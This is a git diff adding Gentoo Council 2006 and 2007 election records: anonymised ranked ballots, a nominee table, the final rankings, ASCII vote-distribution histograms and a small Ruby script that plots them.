+CHTEKK KingTaco
+pauldv
+rl03
+nattfodd
+jaervosz
+Ramereth spb
+jakub
+patrick
+--------- confirmation e5a1 ---------
+spb
+vapier `Kumba kloeri dostrow Kugelfang
+wolf31o2 robbat2
+UberLord
+Pylon
+jaervosz
+Flameeyes
+lu_zero
+KingTaco
+Ramereth
+nattfodd
+rl03
+pauldv patrick jakub CHTEKK
+--------- confirmation e8d4 ---------
+kloeri vapier
+wolf31o2 Flameeyes
+KingTaco Kugelfang Pylon
+nattfodd `Kumba dostrow robbat2 jaervosz lu_zero UberLord rl03 Ramereth CHTEKK
+spb patrick jakub pauldv
+--------- confirmation e8de ---------
+vapier wolf31o2
+kloeri
+Flameeyes jakub Pylon
+lu_zero `Kumba patrick pauldv Ramereth
+Kugelfang KingTaco robbat2 dostrow UberLord
+spb nattfodd rl03 jaervosz CHTEKK
+--------- confirmation e9c1 ---------
+jaervosz
+kloeri
+robbat2
+wolf31o2
+lu_zero
+spb
+rl03
+dostrow
+vapier
+Flameeyes
+KingTaco
+UberLord
+CHTEKK
+Pylon
+`Kumba
+nattfodd
+Kugelfang
+Ramereth
+pauldv
+jakub
+patrick
+--------- confirmation ea73 ---------
+rl03 vapier
+CHTEKK jaervosz
+kloeri UberLord lu_zero jakub
+robbat2 patrick pauldv dostrow wolf31o2
+--------- confirmation ebfb ---------
+kloeri vapier spb `Kumba
+lu_zero Kugelfang
+robbat2 wolf31o2 UberLord dostrow Flameeyes
+jaervosz rl03 Pylon nattfodd
+pauldv KingTaco Ramereth
+CHTEKK jakub patrick
+--------- confirmation ec7e ---------
+Flameeyes KingTaco kloeri
+vapier
+jakub jaervosz UberLord Ramereth wolf31o2
+--------- confirmation edd5 ---------
+robbat2 Ramereth Pylon dostrow kloeri wolf31o2 Kugelfang `Kumba spb
+vapier UberLord lu_zero KingTaco jaervosz
+pauldv Flameeyes rl03 nattfodd CHTEKK
+jakub
+patrick
+--------- confirmation f07d ---------
+vapier
+kloeri Flameeyes jaervosz
+pauldv
+UberLord wolf31o2
+Ramereth
+lu_zero
+KingTaco
+spb
+Pylon
+dostrow
+nattfodd
+Kugelfang
+robbat2
+`Kumba
+patrick
+rl03
+jakub
+CHTEKK
+--------- confirmation f103 ---------
+jakub
+KingTaco
+UberLord
+Kugelfang
+wolf31o2
+robbat2
+dostrow
+pauldv
+jaervosz
+Ramereth
+`Kumba
+rl03
+kloeri
+nattfodd
+patrick
+spb
+vapier
+CHTEKK
+lu_zero
+Flameeyes
+Pylon
+--------- confirmation f26e ---------
+vapier
+wolf31o2
+pauldv
+jaervosz KingTaco `Kumba UberLord lu_zero Pylon Ramereth rl03 robbat2 jakub patrick spb Kugelfang
+dostrow kloeri CHTEKK nattfodd
+Flameeyes
+--------- confirmation f572 ---------
+vapier kloeri Flameeyes
+pauldv lu_zero KingTaco
+jaervosz wolf31o2 robbat2 spb
+dostrow `Kumba Pylon jakub Kugelfang UberLord Ramereth
+nattfodd rl03 CHTEKK
+patrick
+--------- confirmation f61a ---------
+Ramereth lu_zero Pylon pauldv KingTaco jaervosz
+kloeri Kugelfang robbat2
+dostrow wolf31o2 vapier
+Flameeyes spb
+nattfodd UberLord rl03 CHTEKK `Kumba patrick jakub
+--------- confirmation f66d ---------
+dostrow
+wolf31o2
+vapier
+kloeri
+spb
+jakub
+KingTaco
+Pylon
+Flameeyes
+CHTEKK
+pauldv
+patrick
+Kugelfang
+jaervosz
+robbat2
+UberLord
+rl03
+nattfodd
+Ramereth
+lu_zero
+`Kumba
+--------- confirmation f697 ---------
+kloeri patrick
+`Kumba vapier
+wolf31o2 KingTaco Kugelfang
+Ramereth
+jaervosz
+robbat2
+rl03
+Flameeyes pauldv
+CHTEKK
+lu_zero
+dostrow
+UberLord
+nattfodd
+Pylon
+spb
+jakub
+--------- confirmation f9c4 ---------
+wolf31o2 dostrow vapier jaervosz Pylon kloeri `Kumba
+pauldv CHTEKK Flameeyes robbat2
+Ramereth
+Kugelfang lu_zero
+UberLord KingTaco rl03 nattfodd spb jakub patrick
+--------- confirmation fa45 ---------
+Kugelfang
+nattfodd
+jakub
+KingTaco
+pauldv
+dostrow `Kumba
+robbat2 UberLord vapier
+--------- confirmation fbd3 ---------
+wolf31o2
+KingTaco dostrow kloeri Ramereth nattfodd
+vapier
+UberLord lu_zero rl03 jaervosz Kugelfang robbat2 Pylon Flameeyes `Kumba
+pauldv
+CHTEKK
+jakub
+spb
+patrick
+--------- confirmation 1b3e ---------
+KingTaco
+wolf31o2 Flameeyes vapier
+nattfodd
+jaervosz kloeri `Kumba UberLord
+dostrow lu_zero Pylon rl03 robbat2
+Ramereth spb jakub CHTEKK patrick pauldv Kugelfang
+--------- confirmation 1db4 ---------
+vapier
+robbat2
+jakub
+Flameeyes
+Pylon
+kloeri
+CHTEKK UberLord KingTaco rl03 lu_zero jaervosz `Kumba dostrow Ramereth nattfodd spb Kugelfang wolf31o2
+pauldv patrick
+--------- confirmation 1fff ---------
+Kugelfang Pylon vapier Flameeyes
+jakub rl03 wolf31o2 dostrow UberLord Ramereth robbat2 nattfodd kloeri pauldv CHTEKK jaervosz KingTaco
+lu_zero `Kumba
+spb patrick
+--------- confirmation 202f ---------
+kloeri
+wolf31o2
+`Kumba
+patrick
+UberLord
+Flameeyes
+lu_zero
+KingTaco
+jakub
+robbat2
+nattfodd
+vapier
+Pylon
+Kugelfang
+jaervosz
+dostrow
+Ramereth
+pauldv
+rl03
+CHTEKK
+spb
+--------- confirmation 2281 ---------
+Kugelfang
+spb UberLord
+vapier `Kumba dostrow
+lu_zero
+robbat2 CHTEKK KingTaco kloeri wolf31o2 Ramereth jakub rl03 jaervosz nattfodd pauldv
+Pylon Flameeyes
+patrick
+--------- confirmation 25d3 ---------
+Flameeyes vapier
+UberLord wolf31o2 kloeri
+jakub nattfodd jaervosz KingTaco Pylon Ramereth dostrow lu_zero spb pauldv patrick Kugelfang rl03
+`Kumba robbat2
+CHTEKK
+--------- confirmation 263f ---------
+vapier
+KingTaco jaervosz
+dostrow lu_zero robbat2
+wolf31o2 UberLord kloeri Ramereth
+Kugelfang Pylon
+CHTEKK Flameeyes nattfodd
+pauldv rl03
+patrick
+jakub
+spb
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2006-nominees.xml b/xml/htdocs/proj/en/council/voting-logs/council-2006-nominees.xml
new file mode 100644
index 00000000..470749f8
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2006-nominees.xml
@@ -0,0 +1,479 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="council-2007.xml">
+<title>Gentoo Council 2006/2007 Nominations</title>
+
+<author title="Author">
+  <mail link="vapier@gentoo.org">Mike Frysinger</mail>
+</author>
+<author title="Editor">
+  <mail link="yoswink@gentoo.org">José Luis Rivero</mail>
+</author>
+
+<abstract>
+This document is designed to keep track of nominations to
+Gentoo Council 2007.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.1</version>
+<date>2006-07-10</date>
+
+<chapter>
+<title>Gentoo Council 2007 Nominations</title>
+<section>
+<title>Nominations status</title>
+<body>
+
+<table>
+  <tr>
+    <th>Accepted</th>
+    <th>Alias</th>
+    <th>Name</th>
+    <th>Devrel</th>
+    <th>Trustee</th>
+    <th>Current council</th>
+    <th>Nominated by</th>
+  </tr>
+  <tr>
+    <ti>No</ti>
+    <ti>agriffis</ti>
+    <ti>Aron Griffis</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>Yes</ti>
+    <ti>vapier</ti>
+  </tr>
+  <tr>
+    <ti>No</ti>
+    <ti>AllanonJL</ti>
+    <ti>John N. Laliberte</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>genstef</ti>
+  </tr>
+  <tr>
+    <ti>No</ti>
+    <ti>antarus</ti>
+    <ti>Alec Warner</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>genstef</ti>
+  </tr>
+  <tr>
+    <ti></ti>
+    <ti>azarah</ti>
+    <ti>Martin Schlemmer</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>Yes</ti>
+    <ti>vapier</ti>
+  </tr>
+  <tr>
+    <ti>No</ti>
+    <ti>brix</ti>
+    <ti>Henrik Brix Andersen</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>patrick</ti>
+  </tr>
+  <tr>
+    <ti>No</ti>
+    <ti>christel</ti>
+    <ti>Christel Dahlskjær</ti>
+    <ti>Yes</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>nattfodd</ti>
+  </tr>
+  <tr>
+    <ti>Yes</ti>
+    <ti>CHTEKK</ti>
+    <ti>Luca Longinotti</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>genstef</ti>
+  </tr>
+  <tr>
+    <ti>No</ti>
+    <ti>dberkholz</ti>
+    <ti>Donnie Berkholz</ti>
+    <ti></ti>
+    <ti>Yes</ti>
+    <ti></ti>
+    <ti>curtis119</ti>
+  </tr>
+  <tr>
+    <ti>Yes</ti>
+    <ti>dostrow</ti>
+    <ti>Daniel Ostrow</ti>
+    <ti>Yes</ti>
+    <ti>Yes</ti>
+    <ti></ti>
+    <ti>vapier</ti>
+  </tr>
+  <tr>
+    <ti>No</ti>
+    <ti>dsd</ti>
+    <ti>Daniel Drake</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>vapier</ti>
+  </tr>
+  <tr>
+    <ti>No</ti>
+    <ti>exg</ti>
+    <ti>Emanuele Giaquinta</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>vapier</ti>
+  </tr>
+  <tr>
+    <ti>Yes</ti>
+    <ti>Flameeyes</ti>
+    <ti>Diego Pettenò</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>vapier</ti>
+  </tr>
+  <tr>
+    <ti>No</ti>
+    <ti>g2boojum</ti>
+    <ti>Grant Goodyear</ti>
+    <ti>Yes</ti>
+    <ti>Yes</ti>
+    <ti></ti>
+    <ti>vapier</ti>
+  </tr>
+  <tr>
+    <ti></ti>
+    <ti>george</ti>
+    <ti>George Shapovalov</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>ribosome</ti>
+  </tr>
+  <tr>
+    <ti>Yes</ti>
+    <ti>jaervosz</ti>
+    <ti>Sune Kloppenborg Jeppesen</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>vapier</ti>
+  </tr>
+  <tr>
+    <ti>Yes</ti>
+    <ti>jakub</ti>
+    <ti>Jakub Moc</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>patrick</ti>
+  </tr>
+  <tr>
+    <ti></ti>
+    <ti>johnm</ti>
+    <ti>John Mylchreest</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>cokehabit@gmail.com</ti>
+  </tr>
+  <tr>
+    <ti>Yes</ti>
+    <ti>KingTaco</ti>
+    <ti>Mike Doty</ti>
+    <ti>Yes</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>vapier</ti>
+  </tr>
+  <tr>
+    <ti></ti>
+    <ti>kito</ti>
+    <ti>Kito Danya Dietrich</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>vapier</ti>
+  </tr>
+  <tr>
+    <ti>Yes</ti>
+    <ti>kloeri</ti>
+    <ti>Bryan Østergaard</ti>
+    <ti>Yes</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>yoswink</ti>
+  </tr>
+  <tr>
+    <ti>No</ti>
+    <ti>Koon</ti>
+    <ti>Thierry Carrez</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>Yes</ti>
+    <ti>vapier</ti>
+  </tr>
+  <tr>
+    <ti>No</ti>
+    <ti>kosmikus</ti>
+    <ti>Andres Loeh</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>patrick</ti>
+  </tr>
+  <tr>
+    <ti>Yes</ti>
+    <ti>Kugelfang</ti>
+    <ti>Danny van Dyk</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>vapier</ti>
+  </tr>
+  <tr>
+    <ti>Yes</ti>
+    <ti>`Kumba</ti>
+    <ti>Joshua Kinard</ti>
+    <ti></ti>
+    <ti>Yes</ti>
+    <ti></ti>
+    <ti>vapier</ti>
+  </tr>
+  <tr>
+    <ti>Yes</ti>
+    <ti>lu_zero</ti>
+    <ti>Luca Barbato</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>Flameeyes</ti>
+  </tr>
+  <tr>
+    <ti></ti>
+    <ti>marienz</ti>
+    <ti>Marien Zwart</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>patrick</ti>
+  </tr>
+  <tr>
+    <ti>No</ti>
+    <ti>Mr_Bones_</ti>
+    <ti>Michael Sterrett</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>vapier</ti>
+  </tr>
+  <tr>
+    <ti>Yes</ti>
+    <ti>nattfodd</ti>
+    <ti>Alexandre Buisse</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>self</ti>
+  </tr>
+  <tr>
+    <ti>No</ti>
+    <ti>neysx</ti>
+    <ti>Xavier Neys</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>ribosome</ti>
+  </tr>
+  <tr>
+    <ti>No</ti>
+    <ti>nichoj</ti>
+    <ti>Joshua Nichols</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>genstef</ti>
+  </tr>
+  <tr>
+    <ti>Yes</ti>
+    <ti>patrick</ti>
+    <ti>Patrick Lauer</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>self</ti>
+  </tr>
+  <tr>
+    <ti>Yes</ti>
+    <ti>pauldv</ti>
+    <ti>Paul de Vrieze</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>cokehabit@gmail.com</ti>
+  </tr>
+  <tr>
+    <ti>No</ti>
+    <ti>plasmaroo</ti>
+    <ti>Tim Yamin</ti>
+    <ti>Yes</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>vapier</ti>
+  </tr>
+  <tr>
+    <ti>Yes</ti>
+    <ti>Pylon</ti>
+    <ti>Lars Weiler</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>lu_zero</ti>
+  </tr>
+  <tr>
+    <ti></ti>
+    <ti>pvdabeel</ti>
+    <ti>Pieter van den Abeele</ti>
+    <ti></ti>
+    <ti>Yes</ti>
+    <ti></ti>
+    <ti>lu_zero</ti>
+  </tr>
+  <tr>
+    <ti>Yes</ti>
+    <ti>Ramereth</ti>
+    <ti>Lance Albertson</ti>
+    <ti></ti>
+    <ti>Yes</ti>
+    <ti></ti>
+    <ti>vapier</ti>
+  </tr>
+  <tr>
+    <ti>Yes</ti>
+    <ti>rl03</ti>
+    <ti>Renat Lumpau</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>vapier</ti>
+  </tr>
+  <tr>
+    <ti>Yes</ti>
+    <ti>robbat2</ti>
+    <ti>Robin H. Johnson</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>robbat2</ti>
+  </tr>
+  <tr>
+    <ti>No</ti>
+    <ti>seemant</ti>
+    <ti>Seemant Kulleen</ti>
+    <ti>Yes</ti>
+    <ti>Yes</ti>
+    <ti>Yes</ti>
+    <ti>vapier</ti>
+  </tr>
+  <tr>
+    <ti>No</ti>
+    <ti>solar</ti>
+    <ti>Ned Ludd</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>Yes</ti>
+    <ti>vapier</ti>
+  </tr>
+  <tr>
+    <ti>Yes</ti>
+    <ti>spb</ti>
+    <ti>Stephen Bennett</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>vapier</ti>
+  </tr>
+  <tr>
+    <ti>No</ti>
+    <ti>Stuart</ti>
+    <ti>Stuart Herbert</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>patrick</ti>
+  </tr>
+  <tr>
+    <ti>No</ti>
+    <ti>ticho</ti>
+    <ti>Andrej Kacian</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>jkt</ti>
+  </tr>
+  <tr>
+    <ti>No</ti>
+    <ti>tsunam</ti>
+    <ti>Joshua Jackson</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>nattfodd</ti>
+  </tr>
+  <tr>
+    <ti>Yes</ti>
+    <ti>Uberlord</ti>
+    <ti>Roy Marples</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>cokehabit@gmail.com</ti>
+  </tr>
+  <tr>
+    <ti>Yes</ti>
+    <ti>vapier / SpanKY</ti>
+    <ti>Mike Frysinger</ti>
+    <ti>Yes</ti>
+    <ti></ti>
+    <ti>Yes</ti>
+    <ti>kevquinn</ti>
+  </tr>
+  <tr>
+    <ti>No</ti>
+    <ti>Weeve</ti>
+    <ti>Jason Wever</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>vapier</ti>
+  </tr>
+  <tr>
+    <ti>Yes</ti>
+    <ti>wolf31o2</ti>
+    <ti>Chris Gianelloni</ti>
+    <ti></ti>
+    <ti></ti>
+    <ti></ti>
+    <ti>curtis119</ti>
+  </tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2006-rank.txt b/xml/htdocs/proj/en/council/voting-logs/council-2006-rank.txt
new file mode 100644
index 00000000..9d5e3d73
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2006-rank.txt
@@ -0,0 +1,21 @@
+vapier
+kloeri
+wolf31o2
+Flameeyes
+KingTaco
+robbat2
+Kugelfang
+UberLord
+jaervosz
+lu_zero
+dostrow
+Ramereth
+`Kumba
+Pylon
+pauldv
+CHTEKK
+nattfodd
+rl03
+jakub
+spb
+patrick
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2006-results.txt b/xml/htdocs/proj/en/council/voting-logs/council-2006-results.txt
new file mode 100644
index 00000000..40526184
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2006-results.txt
@@ -0,0 +1,14 @@
+Running "countify" on the master ballot yields the following results
+for the new council:
+
+    vapier
+    kloeri
+    wolf31o2
+    Flameeyes
+    KingTaco
+    robbat2
+    Kugelfang
+
+> Btw, how many people actually voted?
+
+121
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2006-vote-distribution.txt b/xml/htdocs/proj/en/council/voting-logs/council-2006-vote-distribution.txt
new file mode 100644
index 00000000..8bc1cb96
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2006-vote-distribution.txt
@@ -0,0 +1,87 @@
+And here're the graphs that you've all come to know and love, showing
+once again that Condorcet is a brilliant system for picking out people
+who aren't unpopular rather than people who are popular.
+
+  vapier (1)       kloeri (2)       wolf31o2 (3)
+|#               |                |             
+|#               |                |             
+|#               |                |             
+|#               |#               |#            
+|#               |#               |#            
+|#               |#               |#            
+|#               |###             |##           
+|###             |#### ##         |##### # #    
+|##########      |##########      |##########   
++----------      +----------      +----------   
+
+  Flameeyes (4)    KingTaco (5)     robbat2 (6)
+|                |                |            
+|                |                |            
+|                |                |            
+|                |                |            
+|                |                |            
+|#               |                |   #        
+|#####           | ##  #  #       |   # ##     
+|######  #       |####### #       |####### #   
+|##########      |##########      |#########   
++----------      +----------      +----------  
+
+  Kugelfang (7)    UberLord (8)     jaervosz (9)
+|                |                |             
+|                |                |             
+|                |                |             
+|                |                |             
+|                |                |             
+|                |                |             
+| #    # #       |     ## #       |#    ## #    
+|#### ## #       |#########       |# ## ####    
+|##########      |##########      |##########   
++----------      +----------      +----------   
+
+  lu_zero (10)     dostrow (11)     Ramereth (12)
+|                |                |              
+|                |                |              
+|                |                |              
+|                |                |              
+|                |                |              
+|                |     #  #       |      # #     
+|   #  # #       |     ## #       | #    # #     
+| ########       |#  #### #       |### #####     
+|##########      |##########      |##########    
++----------      +----------      +----------    
+
+  `Kumba (13)      Pylon (14)       pauldv (15) 
+|                |                |             
+|                |                |             
+|                |                |             
+|                |                |             
+|                |                |             
+|                |        #       |             
+|     ## #       |     ## #       |     ## #    
+|# ## ####       |#  ######       |# #######    
+|##########      |##########      |##########   
++----------      +----------      +----------   
+
+  CHTEKK (16)      nattfodd (17)    rl03 (18) 
+|                |                |           
+|                |                |           
+|                |                |           
+|                |                |           
+|        #       |        #       |        #  
+|        #       |        #       |      # #  
+|     ## #       |     ####       |      ###  
+|  #  #####      |    #####       |     ####  
+|##########      |##########      |########## 
++----------      +----------      +---------- 
+
+  jakub (19)       spb (20)         patrick (21) 
+|                |                |              
+|                |                |              
+|                |                |        #     
+|                |        #       |        #     
+|        #       |        #       |        #     
+|        #       |        #       |        ##    
+|      # #       |      # ##      |      # ##    
+|   #######      |#    #####      |     #####    
+|##########      |##########      |##########    
++----------      +----------      +----------    
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2007-grapher.rb.txt b/xml/htdocs/proj/en/council/voting-logs/council-2007-grapher.rb.txt
new file mode 100644
index 00000000..cf42d5a5
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2007-grapher.rb.txt
@@ -0,0 +1,90 @@
+#!/usr/bin/ruby
+
+ResultsFile  = "council-2007-master.txt"
+RankingsFile = "council-2007-rank.txt"
+ScaleSize    = 10
+HeightScale  = 7
+BarHeight    = 8
+
+# Get all candidate names and initialise their vote count
+candidates = Hash.new
+ballots = Hash.new
+File.open ResultsFile, "r" do | file |
+    file.each_line do | line |
+        next if line =~ /^-/
+        line.split(%r/\s+/).each do | person |
+            candidates[person] = [0] * ScaleSize unless candidates[person]
+        end
+    end
+
+    file.seek(0, IO::SEEK_SET)
+
+    key = false
+    file.each_line do | line |
+        if line =~ %r/^-/
+            key = line.split(/\s+/).grep(/^[a-fA-F0-9]{4}$/)[0]
+            ballots[key] = []
+        else
+            raise "key not set yet" unless key
+            ballots[key].push line.chomp.split(/\s+/)
+        end
+    end
+end
+
+# Add in missing candidates
+ballots.keys.each do | key |
+    append_candidates = candidates.keys.dup
+    ballots[key].flatten.each do | candidate |
+        append_candidates.delete_if do | item |
+            item == candidate
+        end
+    end
+    unless append_candidates.empty?
+        ballots[key].push append_candidates
+    end
+end
+
+# Calculate distributions
+ballots.each_pair do | ballot, results |
+    scale_by = ScaleSize / (0.0 + results.length)
+    results.each_with_index do | result, index |
+        place = (scale_by * index.to_f).to_i
+        raise "out of range" unless (0..ScaleSize - 1).include? place
+        result.each do | candidate |
+            candidates[candidate][place] += 1
+        end
+    end
+end
+
+# Read in rankings
+rankings = []
+File.open RankingsFile, "r" do | file |
+    file.each_line do | line |
+        key = line.split(/\s+/)[0]
+        rankings << key
+    end
+end
+
+
+# Display distributions
+candidates.keys.sort do | a, b |
+    rankings << a unless rankings.index a
+    rankings << b unless rankings.index b
+    (rankings.index a) <=> (rankings.index b)
+end.each do | candidate |
+    puts "  " + candidate + " (" + (rankings.index(candidate) + 1).to_s + ")"
+    BarHeight.downto(0) do | height |
+        print "|"
+        candidates[candidate].each do | value |
+            if value > (height * HeightScale)
+                print "#"
+            else
+                print " "
+            end
+        end
+        puts
+    end
+    puts "+" + ("-" * ScaleSize)
+    puts
+end
+
diff --git a/xml/htdocs/proj/en/council/voting-logs/council-2007-master.txt b/xml/htdocs/proj/en/council/voting-logs/council-2007-master.txt
new file mode 100644
index 00000000..7e19696a
--- /dev/null
+++ b/xml/htdocs/proj/en/council/voting-logs/council-2007-master.txt
@@ -0,0 +1,1031 @@
+--------- confirmation 2c8f ---------
+uberlord
+amne
+dberkholz
+jokey
+welp
+dertobi123
+flameeyes
+vapier
+betelgeuse
+jaervosz
+christel
+lu_zero
+--------- confirmation 3260 ---------
+amne
+dertobi123
+jokey
+jaervosz
+flameeyes
+dberkholz
+uberlord
+lu_zero
+welp
+betelgeuse
+christel
+vapier
+--------- confirmation 370b ---------
+uberlord
+jokey
+dberkholz
+lu_zero
+betelgeuse
+amne
+vapier
+--------- confirmation 37a0 ---------
+betelgeuse
+vapier lu_zero
+dberkholz
+flameeyes amne
+jokey uberlord jaervosz dertobi123
+christel
+welp
+--------- confirmation 3c41 ---------
+flameeyes
+dberkholz
+vapier
+lu_zero
+christel
+dertobi123
+uberlord
+betelgeuse amne welp jokey jaervosz
+--------- confirmation 4072 ---------
+flameeyes dberkholz
+vapier
+jaervosz
+christel
+jokey
+welp
+betelgeuse
+uberlord
+lu_zero
+dertobi123
+amne
+--------- confirmation 41c9 ---------
+dberkholz vapier
+lu_zero
+uberlord
+jokey
+jaervosz
+betelgeuse christel flameeyes
+amne
+dertobi123
+welp
+--------- confirmation 433d ---------
+vapier uberlord
+welp jaervosz
+amne
+--------- confirmation 4661 ---------
+dberkholz dertobi123
+amne welp christel lu_zero
+jokey betelgeuse
+uberlord
+flameeyes
+jaervosz
+vapier
+--------- confirmation 0762 ---------
+dberkholz
+uberlord
+vapier
+jaervosz
+betelgeuse
+--------- confirmation 077b ---------
+dberkholz
+vapier
+betelgeuse
+jokey
+uberlord
+dertobi123 amne
+christel jaervosz welp lu_zero
+flameeyes
+--------- confirmation 0787 ---------
+dberkholz dertobi123
+amne
+jokey
+betelgeuse
+lu_zero
+uberlord
+flameeyes
+welp
+vapier
+jaervosz
+christel
+--------- confirmation 50d3 ---------
+vapier
+dberkholz
+christel
+uberlord
+dertobi123
+amne
+welp
+jokey
+lu_zero
+jaervosz
+flameeyes
+betelgeuse
+--------- confirmation 516e ---------
+vapier dberkholz
+uberlord jaervosz
+christel
+betelgeuse flameeyes dertobi123
+--------- confirmation 5182 ---------
+vapier
+uberlord
+lu_zero
+jaervosz
+dberkholz
+dertobi123
+jokey
+betelgeuse christel welp amne flameeyes
+--------- confirmation 5523 ---------
+betelgeuse
+dertobi123 jokey
+welp dberkholz
+flameeyes jaervosz
+vapier uberlord
+lu_zero amne
+christel
+--------- confirmation 552d ---------
+vapier uberlord
+dberkholz lu_zero
+jaervosz welp dertobi123 amne betelgeuse
+flameeyes
+christel
+jokey
+--------- confirmation 582b ---------
+vapier
+dberkholz flameeyes uberlord
+amne dertobi123 jaervosz lu_zero
+jokey betelgeuse
+welp
+christel
+--------- confirmation 5887 ---------
+vapier
+jaervosz uberlord
+dberkholz lu_zero betelgeuse
+flameeyes
+jokey
+dertobi123
+amne christel welp
+--------- confirmation 59d8 ---------
+betelgeuse
+welp
+flameeyes
+lu_zero
+dberkholz
+vapier
+christel uberlord jaervosz dertobi123 jokey amne
+--------- confirmation 5aa9 ---------
+flameeyes
+betelgeuse
+vapier
+dertobi123
+jokey
+amne
+dberkholz
+jaervosz
+christel lu_zero uberlord welp
+--------- confirmation 5b6e ---------
+dberkholz
+flameeyes
+jokey
+welp
+betelgeuse
+amne
+lu_zero
+dertobi123
+vapier
+uberlord
+christel
+jaervosz
+--------- confirmation 5ca4 ---------
+christel
+uberlord jaervosz
+betelgeuse dberkholz welp dertobi123 vapier
+lu_zero jokey flameeyes amne
+--------- confirmation 0947 ---------
+amne
+dertobi123
+jokey
+flameeyes
+lu_zero
+uberlord
+dberkholz
+vapier
+jaervosz
+betelgeuse
+welp
+christel
+--------- confirmation 5d1b ---------
+dertobi123
+amne
+flameeyes
+jokey
+welp
+dberkholz
+uberlord
+jaervosz
+vapier
+betelgeuse
+christel
+lu_zero
+--------- confirmation 5e30 ---------
+jokey
+welp
+betelgeuse
+dberkholz
+uberlord
+lu_zero
+flameeyes
+jaervosz
+christel
+dertobi123
+amne
+vapier
+--------- confirmation 62e3 ---------
+vapier dberkholz
+jaervosz uberlord
+flameeyes betelgeuse
+lu_zero dertobi123
+jokey
+welp amne christel
+--------- confirmation 0a10 ---------
+vapier
+dberkholz
+uberlord
+amne
+jaervosz lu_zero christel
+flameeyes betelgeuse
+dertobi123 jokey
+welp
+--------- confirmation 6a62 ---------
+vapier
+lu_zero
+uberlord
+welp
+christel
+betelgeuse
+flameeyes
+jokey
+amne
+jaervosz
+dberkholz
+dertobi123
+--------- confirmation 6c84 ---------
+dberkholz uberlord christel betelgeuse
+welp flameeyes lu_zero
+amne
+jokey
+jaervosz
+dertobi123
+vapier
+--------- confirmation 6cc5 ---------
+vapier lu_zero dberkholz uberlord
+dertobi123 amne flameeyes jokey jaervosz
+betelgeuse
+christel welp
+--------- confirmation 6ffc ---------
+vapier
+christel
+jaervosz
+dberkholz flameeyes
+lu_zero dertobi123
+jokey betelgeuse uberlord
+amne welp
+--------- confirmation 7195 ---------
+vapier dberkholz uberlord
+dertobi123 amne jokey
+lu_zero welp jaervosz betelgeuse flameeyes
+christel
+--------- confirmation 7281 ---------
+dertobi123
+flameeyes
+welp
+jokey
+christel
+lu_zero
+betelgeuse
+vapier
+amne
+uberlord
+--------- confirmation 72eb ---------
+vapier
+betelgeuse
+flameeyes
+uberlord
+jaervosz
+lu_zero
+dertobi123
+--------- confirmation 7432 ---------
+jokey vapier uberlord dberkholz lu_zero amne
+flameeyes betelgeuse christel
+jaervosz dertobi123 welp
+--------- confirmation 7682 ---------
+lu_zero
+betelgeuse
+vapier
+jaervosz
+uberlord
+jokey
+flameeyes
+welp
+dertobi123
+dberkholz
+christel
+amne
+--------- confirmation 7e15 ---------
+dberkholz vapier
